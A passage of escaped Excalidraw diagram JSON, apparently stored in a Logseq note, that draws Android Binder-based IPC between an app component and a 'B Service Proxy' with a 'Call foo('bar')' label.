&quot;:false,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;9bj_041-OA_763eEUFq0A\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;dashed\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:323.97330805315295,\\logseq____&quot;y\\logseq____&quot;:429.82142857142867,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:136.41983032226562,\\logseq____&quot;height\\logseq____&quot;:25,\\logseq____&quot;seed\\logseq____&quot;:1732711324,\\logseq____&quot;groupIds\\logseq____&quot;:[\\logseq____&quot;xaDrP-PsrHLrVREvS4TUP\\logseq____&quot;],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:{\\logseq____&quot;type\\logseq____&quot;:2},\\logseq____&quot;boundElements\\logseq____&quot;:[],\\logseq____&quot;updated\\logseq____&quot;:1729605917732,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false,\\logseq____&quot;fontSize\\logseq____&quot;:20,\\logseq____&quot;fontFamily\\logseq____&quot;:1,\\logseq____&quot;text\\logseq____&quot;:\\logseq____&quot;Call foo(logseq____&apos;barlogseq____&apos;)\\logseq____&quot;,\\logseq____&quot;textAlign\\logseq____&quot;:\\logseq____&quot;center\\logseq____&quot;,\\logseq____&quot;verticalAlign\\logseq____&quot;:\\logseq____&quot;middle\\logseq____&quot;,\\logseq____&quot;containerId\\logseq____&quot;:\\logseq____&quot;uv8kcWfvQGyXoLkYkmSb_\\logseq____&quot;,\\logseq____&quot;originalText\\logseq____&quot;:\\logseq____&quot;Call foo(logseq____&apos;barlogseq____&apos;)\\logseq____&quot;,\\logseq____&quot;lineHeight\\logseq____&quot;:1.25,\\logseq____&quot;baseline\\logseq____&quot;:18},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;rectangle\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:241,\\logseq____&quot;versionNonce\\logseq____&quot;:917149340,\\logseq____&quot;isDeleted\\logseq____&quot;:true,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;MbLkUz3RQ6F5oXQLvthG1\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;dashed\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:446.04017857142867,\\logseq____&quot;y\\logseq____&quot;:284.92857142857156,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:661.9029017857142,\\logseq____&quot;height\\logseq____&quot;:157.1428571428571,\\logseq____&quot;seed\\logseq____&quot;:2137636508,\\logseq____&quot;groupIds\\logseq____&quot;:[\\logseq____&quot;Hfmt6KRXHGv8MlRWyosnn\\logseq____&quot;],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:{\\logseq____&quot;type\\logseq____&quot;:3},\\logseq____&quot;boundElements\\logseq____&quot;:[{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;text\\logseq____&quot;,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;TeTLf1T0eUSvvQO3hsAiw\\logseq____&quot;}],\\logseq____&quot;updated\\logseq____&quot;:1729605876855,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;text\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:313,\\logseq____&quot;versionNonce\\logseq____&quot;:1340387620,\\logseq____&quot;isDeleted\\logseq____&quot;:true,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;TeTLf1T0eUSvvQO3hsAiw\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;dashed\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:749.5363377162389,\\logseq____&quot;y\\logseq____&quot;:289.92857142857156,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:54.91058349609375,\\logseq____&quot;height\\logseq____&quot;:24.553571428571423,\\logseq____&quot;seed\\logseq____&quot;:1410074916,\\logseq____&quot;groupIds\\logseq____&quot;:[\\logseq____&quot;Hfmt6KRXHGv8MlRWyosnn\\logseq____&quot;],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:{\\logseq____&quot;type\\logseq____&quot;:2},\\logseq____&quot;boundElements\\logseq____&quot;:null,\\logseq____&quot;updated\\logseq____&quot;:1729605876855,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false,\\logseq____&quot;fontSize\\logseq____&quot;:19.64285714285714,\\logseq____&quot;fontFamily\\logseq____&quot;:1,\\logseq____&quot;text\\logseq____&quot;:\\logseq____&quot;App A\\logseq____&quot;,\\logseq____&quot;textAlign\\logseq____&quot;:\\logseq____&quot;center\\logseq____&quot;,\\logseq____&quot;verticalAlign\\logseq____&quot;:\\logseq____&quot;top\\logseq____&quot;,\\logseq____&quot;containerId\\logseq____&quot;:\\logseq____&quot;MbLkUz3RQ6F5oXQLvthG1\\logseq____&quot;,\\logseq____&quot;originalText\\logseq____&quot;:\\logseq____&quot;App A\\logseq____&quot;,\\logseq____&quot;lineHeight\\logseq____&quot;:1.25,\\logseq____&quot;baseline\\logseq____&quot;:17},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;rectangle\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:243,\\logseq____&quot;versionNonce\\logseq____&quot;:227305628,\\logseq____&quot;isDeleted\\logseq____&quot;:true,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;ClPsuuGYXB1LKq20LBNDk\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;dashed\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:470.5937500000001,\\logseq____&quot;y\\logseq____&quot;:319.30357142857156,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:162.09960937499997,\\logseq____&quot;height\\logseq____&quot;:88.39285714285712,\\logseq____&quot;seed\\logseq____&quot;:1232046876,\\logseq____&quot;groupIds\\logseq____&quot;:[\\logseq____&quot;Hfmt6KRXHGv8MlRWyosnn\\logseq____&quot;],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:{\\logseq____&quot;type\\logseq____&quot;:3},\\logseq____&quot;boundElements\\logseq____&quot;:[],\\logseq____&quot;updated\\logseq____&quot;:1729605876855,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;text\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:318,\\logseq____&quot;versionNonce\\logseq____&quot;:972745892,\\logseq____&quot;isDeleted\\logseq____&quot;:true,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;_avxsGt4jaJDbka6U8vct\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;dashed\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:476.16600036621105,\\logseq____&quot;y\\logseq____&quot;:338.94642857142867,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:150.95510864257812,\\logseq____&quot;height\\logseq____&quot;:49.10714285714285,\\logseq____&quot;seed\\logseq____&quot;:1870087332,\\logseq____&quot;groupIds\\logseq____&quot;:[\\logseq____&quot;Hfmt6KRXHGv8MlRWyosnn\\logseq____&quot;],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:{\\logseq____&quot;type\\logseq____&quot;:2},\\logseq____&quot;boundElements\\logseq____&quot;:null,\\logseq____&quot;updated\\logseq____&quot;:1729605876855,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false,\\logseq____&quot;fontSize\\logseq____&quot;:19.64285714285714,\\logseq____&quot;fontFamily\\logseq____&quot;:1,\\logseq____&quot;text\\logseq____&quot;:\\logseq____&quot;Component (e.g.,\\\\nActivity)\\logseq____&quot;,\\logseq____&quot;textAlign\\logseq____&quot;:\\logseq____&quot;center\\logseq____&quot;,\\logseq____&quot;verticalAlign\\logseq____&quot;:\\logseq____&quot;middle\\logseq____&quot;,\\logseq____&quot;containerId\\logseq____&quot;:\\logseq____&quot;ClPsuuGYXB1LKq20LBNDk\\logseq____&quot;,\\logseq____&quot;originalText\\logseq____&quot;:\\logseq____&quot;Component (e.g., Activity)\\logseq____&quot;,\\logseq____&quot;lineHeight\\logseq____&quot;:1.25,\\logseq____&quot;baseline\\logseq____&quot;:42},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;rectangle\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:244,\\logseq____&quot;versionNonce\\logseq____&quot;:686989212,\\logseq____&quot;isDeleted\\logseq____&quot;:true,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;D1a325TVu06Lj-g4dEDgG\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;dashed\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:878.2751116071429,\\logseq____&quot;y\\logseq____&quot;:337.7187500000001,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:205.11439732142853,\\logseq____&quot;height\\logseq____&quot;:51.56249999999999,\\logseq____&quot;seed\\logseq____&quot;:1510459292,\\logseq____&quot;groupIds\\logseq____&quot;:[\\logseq____&quot;Hfmt6KRXHGv8MlRWyosnn\\logseq____&quot;],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:{\\logseq____&quot;type\\logseq____&quot;:3},\\logseq____&quot;boundElements\\logseq____&quot;:[{\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;WizRRDPiUyp2NNFO85KUc\\logseq____&quot;,\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;arrow\\logseq____&quot;},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;text\\logseq____&quot;,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;_WmqLNmvMtWFSFyxIJ3mM\\logseq____&quot;}],\\logseq____&quot;updated\\logseq____&quot;:1729605876855,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;text\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:313,\\logseq____&quot;versionNonce\\logseq____&quot;:213760036,\\logseq____&quot;isDeleted\\logseq____&quot;:true,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;_WmqLNmvMtWFSFyxIJ3mM\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;dashed\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:904.5010724748884,\\logseq____&quot;y\\logseq____&quot;:351.22321428571445,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:152.6624755859375,\\logseq____&quot;height\\logseq____&quot;:24.553571428571423,\\logseq____&quot;seed\\logseq____&quot;:15667236,\\logseq____&quot;groupIds\\logseq____&quot;:[\\logseq____&quot;Hfmt6KRXHGv8MlRWyosnn\\logseq____&quot;],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:{\\logseq____&quot;type\\logseq____&quot;:2},\\logseq____&quot;boundElements\\logseq____&quot;:null,\\logseq____&quot;updated\\logseq____&quot;:1729605876855,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false,\\logseq____&quot;fontSize\\logseq____&quot;:19.64285714285714,\\logseq____&quot;fontFamily\\logseq____&quot;:1,\\logseq____&quot;text\\logseq____&quot;:\\logseq____&quot;B Service Proxy\\logseq____&quot;,\\logseq____&quot;textAlign\\logseq____&quot;:\\logseq____&quot;center\\logseq____&quot;,\\logseq____&quot;verticalAlign\\logseq____&quot;:\\logseq____&quot;middle\\logseq____&quot;,\\logseq____&quot;containerId\\logseq____&quot;:\\logseq____&quot;D1a325TVu06Lj-g4dEDgG\\logseq____&quot;,\\logseq____&quot;originalText\\logseq____&quot;:\\logseq____&quot;B Service Proxy\\logseq____&quot;,\\logseq____&quot;lineHeight\\logseq____&quot;:1.25,\\logseq____&quot;baseline\\logseq____&quot;:17},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;arrow\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:796,\\logseq____&quot;versionNonce\\logseq____&quot;:1899252764,\\logseq____&quot;isDeleted\\logseq____&quot;:true,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;B1JTBW0V4hdO4MAAaYzfR\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;dashed\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:633.1845535714288,\\logseq____&quot;y\\logseq____&quot;:363.99107142857156,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:245.09080357142852,\\logseq____&quot;height\\logseq____&quot;:0.4910714285714285,\\logseq____&quot;seed\\logseq____&quot;:358904860,\\logseq____&quot;groupIds\\logseq____&quot;:[\\logseq____&quot;Hfmt6KRXHGv8MlRWyosnn\\logseq____&quot;],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:{\\logseq____&quot;type\\logseq____&quot;:2},\\logseq____&quot;boundElements\\logseq____&quot;:[{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;text\\logseq____&quot;,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;7ETxSIlRoVlqQXW4ouXZr\\logseq____&quot;}],\\logseq____&quot;updated\\logseq____&quot;:1729605876855,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false,\\logseq____&quot;startBinding\\logseq____&quot;:{\\logseq____&quot;elementId\\logseq____&quot;:\\logseq____&quot;ClPsuuGYXB1LKq20LBNDk\\logseq____&quot;,\\logseq____&quot;focus\\logseq____&quot;:0.014753535629874897,\\logseq____&quot;gap\\logseq____&quot;:1},\\logseq____&quot;endBinding\\logseq____&quot;:null,\\logseq____&quot;lastCommittedPoint\\logseq____&quot;:null,\\logseq____&quot;startArrowhead\\logseq____&quot;:null,\\logseq____&quot;endArrowhead\\logseq____&quot;:\\logseq____&quot;arrow\\logseq____&quot;,\\logseq____&quot;points\\logseq____&quot;:[[0,0],[245.09080357142852,-0.4910714285714285]]},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;text\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:292,\\logseq____&quot;versionNonce\\logseq____&quot;:605754276,\\logseq____&quot;isDeleted\\logseq____&quot;:true,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;7ETxSIlRoVlqQXW4ouXZr\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;dashed\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:681.1161651960101,\\logseq____&quot;y\\logseq____&quot;:349.82142857142867,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:133.86175537109375,\\logseq____&quot;height\\logseq____&quot;:24.553571428571423,\\logseq____&quot;seed\\logseq____&quot;:945908644,\\logseq____&quot;groupIds\\logseq____&quot;:[\\logseq____&quot;Hfmt6KRXHGv8MlRWyosnn\\logseq____&quot;],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:{\\logseq____&quot;type\\logseq____&quot;:2},\\logseq____&quot;boundElements\\logseq____&quot;:null,\\logseq____&quot;updated\\logseq____&quot;:1729605876855,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false,\\logseq____&quot;fontSize\\logseq____&quot;:19.64285714285714,\\logseq____&quot;fontFamily\\logseq____&quot;:1,\\logseq____&quot;text\\logseq____&quot;:\\logseq____&quot;Call foo(logseq____&apos;barlogseq____&apos;)\\logseq____&quot;,\\logseq____&quot;textAlign\\logseq____&quot;:\\logseq____&quot;center\\logseq____&quot;,\\logseq____&quot;verticalAlign\\logseq____&quot;:\\logseq____&quot;middle\\logseq____&quot;,\\logseq____&quot;containerId\\logseq____&quot;:\\logseq____&quot;B1JTBW0V4hdO4MAAaYzfR\\logseq____&quot;,\\logseq____&quot;originalText\\logseq____&quot;:\\logseq____&quot;Call foo(logseq____&apos;barlogseq____&apos;)\\logseq____&quot;,\\logseq____&quot;lineHeight\\logseq____&quot;:1.25,\\logseq____&quot;baseline\\logseq____&quot;:17},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;rectangle\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:7,\\logseq____&quot;versionNonce\\logseq____&quot;:1117182116,\\logseq____&quot;isDeleted\\logseq____&quot;:false,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;Xa8EigFX_3qTS3ADG1DHv\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:685.0859375,\\logseq____&quot;y\\logseq____&quot;:657.25,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:247.328125,\\logseq____&quot;height\\logseq____&quot;:52.5,\\logseq____&quot;seed\\logseq____&quot;:744395932,\\logseq____&quot;groupIds\\logseq____&quot;:[],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:null,\\logseq____&quot;boundElements\\logseq____&quot;:[{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;text\\logseq____&quot;,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;BSEEQIQfa3YfjQjVW-PHE\\logseq____&quot;}],\\logseq____&quot;updated\\logseq____&quot;:1729605928333,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;text\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:4,\\logseq____&quot;versionNonce\\logseq____&quot;:179720612,\\logseq____&quot;isDeleted\\logseq____&quot;:false,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;BSEEQIQfa3YfjQjVW-PHE\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:723.210090637207,\\logseq____&quot;y\\logseq____&quot;:671,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:171.07981872558594,\\logseq____&quot;height\\logseq____&quot;:25,\\logseq____&quot;seed\\logseq____&quot;:1799368220,\\logseq____&quot;groupIds\\logseq____&quot;:[],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:null,\\logseq____&quot;boundElements\\logseq____&quot;:[],\\logseq____&quot;updated\\logseq____&quot;:1729605663874,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false,\\logseq____&quot;fontSize\\logseq____&quot;:20,\\logseq____&quot;fontFamily\\logseq____&quot;:1,\\logseq____&quot;text\\logseq____&quot;:\\logseq____&quot;Binder-based IPC\\logseq____&quot;,\\logseq____&quot;textAlign\\logseq____&quot;:\\logseq____&quot;center\\logseq____&quot;,\\logseq____&quot;verticalAlign\\logseq____&quot;:\\logseq____&quot;middle\\logseq____&quot;,\\logseq____&quot;containerId\\logseq____&quot;:\\logseq____&quot;Xa8EigFX_3qTS3ADG1DHv\\logseq____&quot;,\\logseq____&quot;originalText\\logseq____&quot;:\\logseq____&quot;Binder-based IPC\\logseq____&quot;,\\logseq____&quot;lineHeight\\logseq____&quot;:1.25,\\logseq____&quot;baseline\\logseq____&quot;:18},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;arrow\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:525,\\logseq____&quot;versionNonce\\logseq____&quot;:1522981156,\\logseq____&quot;isDeleted\\logseq____&quot;:false,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;WizRRDPiUyp2NNFO85KUc\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:614.0920244570009,\\logseq____&quot;y\\logseq____&quot;:469.32142857142867,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:84.1194130429991,\\logseq____&quot;height\\logseq____&quot;:214.17857142857133,\\logseq____&quot;seed\\logseq____&quot;:1092760348,\\logseq____&quot;groupIds\\logseq____&quot;:[],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:{\\logseq____&quot;type\\logseq____&quot;:2},\\logseq____&quot;boundElements\\logseq____&quot;:[],\\logseq____&quot;updated\\logseq____&quot;:1729605925121,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false,\\logseq____&quot;startBinding\\logseq____&quot;:{\\logseq____&quot;elementId\\logseq____&quot;:\\logseq____&quot;SANj9Ac62ljoQ8xvVKsIm\\logseq____&quot;,\\logseq____&quot;focus\\logseq____&quot;:0.07630422073043633,\\logseq____&quot;gap\\logseq____&quot;:1},\\logseq____&quot;endBinding\\logseq____&quot;:null,\\logseq____&quot;lastCommittedPoint\\logseq____&quot;:null,\\logseq____&quot;startArrowhead\\logseq____&quot;:null,\\logseq____&quot;endArrowhead\\logseq____&quot;:\\logseq____&quot;arrow\\logseq____&quot;,\\logseq____&quot;points\\logseq____&quot;:[[0,0],[5.280127328713547,195.60714285714278],[84.1194130429991,214.17857142857133]]},{\\logseq____&quot;type\\logseq____&quot;:\\logseq____&quot;arrow\\logseq____&quot;,\\logseq____&quot;version\\logseq____&quot;:373,\\logseq____&quot;versionNonce\\logseq____&quot;:633896476,\\logseq____&quot;isDeleted\\logseq____&quot;:false,\\logseq____&quot;id\\logseq____&quot;:\\logseq____&quot;vXQSsMfv5tOyxKdt86Hqa\\logseq____&quot;,\\logseq____&quot;fillStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;strokeWidth\\logseq____&quot;:2,\\logseq____&quot;strokeStyle\\logseq____&quot;:\\logseq____&quot;solid\\logseq____&quot;,\\logseq____&quot;roughness\\logseq____&quot;:1,\\logseq____&quot;opacity\\logseq____&quot;:100,\\logseq____&quot;angle\\logseq____&quot;:0,\\logseq____&quot;x\\logseq____&quot;:920.2894375,\\logseq____&quot;y\\logseq____&quot;:684.5,\\logseq____&quot;strokeColor\\logseq____&quot;:\\logseq____&quot;#1e1e1e\\logseq____&quot;,\\logseq____&quot;backgroundColor\\logseq____&quot;:\\logseq____&quot;transparent\\logseq____&quot;,\\logseq____&quot;width\\logseq____&quot;:115.21835295548442,\\logseq____&quot;height\\logseq____&quot;:212.3214285714282,\\logseq____&quot;seed\\logseq____&quot;:354774940,\\logseq____&quot;groupIds\\logseq____&quot;:[],\\logseq____&quot;frameId\\logseq____&quot;:null,\\logseq____&quot;roundness\\logseq____&quot;:{\\logseq____&quot;type\\logseq____&quot;:2},\\logseq____&quot;boundElements\\logseq____&quot;:[],\\logseq____&quot;updated\\logseq____&quot;:1729605956747,\\logseq____&quot;link\\logseq____&quot;:null,\\logseq____&quot;locked\\logseq____&quot;:false,\\logseq____&quot;startBinding\\logseq____&quot;:null,\\logseq____&quot;endBinding\\logseq____&quot;:{\\logseq____&quot;elementId\\logseq____&quot;:\\logseq____&quot;l1QvNgyVWi9rSs9iEZ-